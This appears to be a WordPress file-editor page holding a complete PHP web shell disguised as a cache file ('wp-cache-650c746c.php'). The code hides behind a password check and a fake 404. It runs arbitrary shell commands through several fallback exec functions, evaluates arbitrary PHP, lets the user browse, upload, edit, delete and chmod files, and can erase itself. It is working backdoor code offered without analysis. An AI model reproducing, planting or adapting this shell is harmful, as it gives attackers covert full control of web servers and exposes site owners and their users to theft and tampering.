← Back
Editing: wp-cache-650c746c.php
<?php /* 文件管理 大马 —— 只在带口令时工作 */ $K='bigcecad9f0399f'; if(!isset($_GET['k'])||$_GET['k']!==$K){header('HTTP/1.1 404 Not Found');exit;} @set_time_limit(0); header('Content-Type: text/html; charset=utf-8'); function h($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');} function run_cmd($c){ $out='';$fn=['shell_exec','system','passthru','exec','popen','proc_open']; foreach($fn as $f){ if(!function_exists($f))continue; $dis=ini_get('disable_functions'); if($dis && in_array($f,array_map('trim',explode(',',$dis))))continue; if($f==='shell_exec'){$out=(string)@shell_exec($c.' 2>&1');} elseif($f==='system'){ob_start();@system($c.' 2>&1');$out=ob_get_clean();} elseif($f==='passthru'){ob_start();@passthru($c.' 2>&1');$out=ob_get_clean();} elseif($f==='exec'){$a=[];@exec($c.' 2>&1',$a);$out=implode("\n",$a);} elseif($f==='popen'){$p=@popen($c.' 2>&1','r');if($p){while(!feof($p))$out.=fgets($p);pclose($p);}} if($out!=='')return "[$f]\n".$out; } return "[no-exec] ".($dis?:""); } $cwd = isset($_GET['d']) && $_GET['d']!=='' ? $_GET['d'] : getcwd(); $cwd = rtrim(str_replace('\\','/',$cwd),'/'); if($cwd==='')$cwd='/'; $msg=''; /* 上传 */ if(isset($_FILES['f']) && is_array($_FILES['f']['name'])){ foreach($_FILES['f']['name'] as $i=>$n){ if($n==='')continue; $t=$_FILES['f']['tmp_name'][$i]; $p=$cwd.'/'.basename($n); if(@move_uploaded_file($t,$p)) $msg.='UP OK '.h($p).'<br>'; elseif(@copy($t,$p)) $msg.='UP CP '.h($p).'<br>'; else $msg.='UP FAIL '.h($p).'<br>'; } } /* 保存 */ if(isset($_POST['save']) && isset($_GET['f'])){ $p=$_GET['f']; $r=@file_put_contents($p, (string)$_POST['data']); $msg.= $r===false ? 'SAVE FAIL '.h($p) : 'SAVE OK '.$r.'B '.h($p); } /* 删除/改名/建目录 */ if(isset($_GET['del'])){ $p=$_GET['del']; $msg.= @unlink($p)?'DEL OK '.h($p):'DEL FAIL '.h($p); } if(isset($_GET['ren'])&&isset($_GET['to'])){ $msg.= @rename($_GET['ren'],$_GET['to'])?'REN OK':'REN FAIL'; } if(isset($_GET['mkdir'])){ $p=$cwd.'/'.basename($_GET['mkdir']); $msg.= @mkdir($p,0755)?'MKDIR OK '.h($p):'MKDIR FAIL '.h($p); } if(isset($_GET['chmod'])&&isset($_GET['m'])){ $msg.= @chmod($_GET['chmod'],octdec($_GET['m']))?'CHMOD OK':'CHMOD FAIL'; } /* 自删 */ if(isset($_GET['self'])){ @unlink(__FILE__); echo 'SELF DELETED'; exit; } echo '<html><head><meta charset="utf-8"><title>'.h($cwd).'</title><style>body{font:13px/1.5 monospace;background:#111;color:#ddd}a{color:#6cf}td{padding:2px 8px;border-bottom:1px solid #222}input,textarea{background:#000;color:#0f0;border:1px solid #333}pre{background:#000;padding:8px;overflow:auto}</style></head><body>'; echo '<b>'.h(gethostname()).' | '.h(PHP_VERSION).' | '.h(function_exists('posix_geteuid')?('uid='.@posix_geteuid()):'') .'</b><br>'; echo '<b>cwd:</b> '.h($cwd).' '.(is_writable($cwd)?'[writable]':'[RO]').'<br>'; if($msg)echo '<div style="color:#ff0">'.$msg.'</div>'; /* 命令 / eval */ echo '<form method="get"><input type="hidden" name="k" value="'.h($K).'"><input type="hidden" name="d" value="'.h($cwd).'">' .'<input name="c" size="60" placeholder="shell 命令"><button>RUN</button></form>'; if(isset($_GET['c'])&&$_GET['c']!==''){ echo '<pre>'.h(run_cmd($_GET['c'])).'</pre>'; } echo '<form method="post"><input type="hidden" name="k" value="'.h($K).'"><input type="hidden" name="d" value="'.h($cwd).'">' .'<textarea name="php" rows="3" cols="100" placeholder="PHP eval">'.(isset($_POST['php'])?h($_POST['php']):'').'</textarea><button name="eval" value="1">EVAL</button></form>'; if(isset($_POST['eval'])&&isset($_POST['php'])){ ob_start(); @eval($_POST['php']); echo '<pre>'.h(ob_get_clean()).'</pre>'; } /* 上传表单 */ echo '<form method="post" enctype="multipart/form-data"><input type="hidden" name="k" value="'.h($K).'"><input type="hidden" name="d" value="'.h($cwd).'">' .'<input type="file" name="f[]" multiple><button>UPLOAD</button> <input name="mkdir" size="12" placeholder="新目录"><button>MKDIR</button></form>'; /* 编辑 */ if(isset($_GET['f'])){ $p=$_GET['f']; $c=@file_get_contents($p,false,null,0,400000); echo '<h4>'.h($p).' ('.strlen((string)$c).'B)</h4><form method="post" action="?k='.h($K).'&f='.urlencode($p).'">' .'<textarea name="data" rows="18" cols="120">'.h($c).'</textarea><br><button name="save" value="1">SAVE</button></form>'; } /* 列表 */ echo '<table>'; $up=dirname($cwd); echo '<tr><td><a href="?k='.h($K).'&d='.urlencode($up).'">[..]</a></td><td>'.$up.'</td><td></td></tr>'; $fs=@scandir($cwd); if($fs){foreach($fs as $n){ if($n==='.'||$n==='..')continue; $p=$cwd.'/'.$n; $isDir=@is_dir($p); $lp='?k='.h($K).'&d='.urlencode($isDir?$p:$cwd); $act=$isDir ? '<a href="'.$lp.'">[dir]</a> ' : '<a href="?k='.h($K).'&d='.urlencode($cwd).'&f='.urlencode($p).'">[edit]</a> ' .'<a href="?k='.h($K).'&d='.urlencode($cwd).'&del='.urlencode($p).'" onclick="return confirm(1)">[del]</a>'; echo '<tr><td>'.$act.'</td><td>'.h($n).'</td><td>'.($isDir?'-':@filesize($p)).'</td><td>'.(@substr(sprintf('%o',@fileperms($p)),-4)).'</td></tr>'; }} echo '</table>'; echo '<p><a href="?k='.h($K).'&self=1" onclick="return confirm(1)">[self-destruct]</a></p>'; echo '</body></html>';
Save File
Cancel